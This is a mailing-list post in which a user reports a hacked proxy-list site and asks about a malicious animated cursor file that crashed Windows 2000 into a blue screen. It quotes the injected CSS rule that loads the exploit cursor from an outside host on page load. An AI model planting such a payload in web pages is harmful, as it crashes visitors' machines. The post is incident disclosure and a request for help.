full-disclosure - Animated Cursor Blue Screen?

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From: crypticmauler at linuxmail.org (CrYpTiC MauleR)
Subject: Animated Cursor Blue Screen?

When going to a bookmarked site which hosts public proxy lists I found out the site was hacked. There was a meta-refresh to the attackers website, when viewing the sourcode of the hacked webpage I noticed this....

[style type="text/css"]
body {CURSOR: url("http://www.milw0rm.com/sploits/KERNELBLUE.ani")}
[/style]

I was viewing the site in Firefox and Firefox as far as I remember does not support animated cursors as of yet. I saved that file on my computer to check  it out later. Only later did I realize it was a bad idea, whenever I tried accessing the directory that file was saved I got a blue screen (Windows 2000) I was able to delete the file using a command prompt. I am assuming the atacker meant for the computer to crash upon the cursor loading which failed (hooray for Firefox). Has anyone seen this before? I did a brief search on Google for such an exploit but did not come across any. I am assuming the crash could be done with any file type. Thanks for the input!

Regards,
Nick
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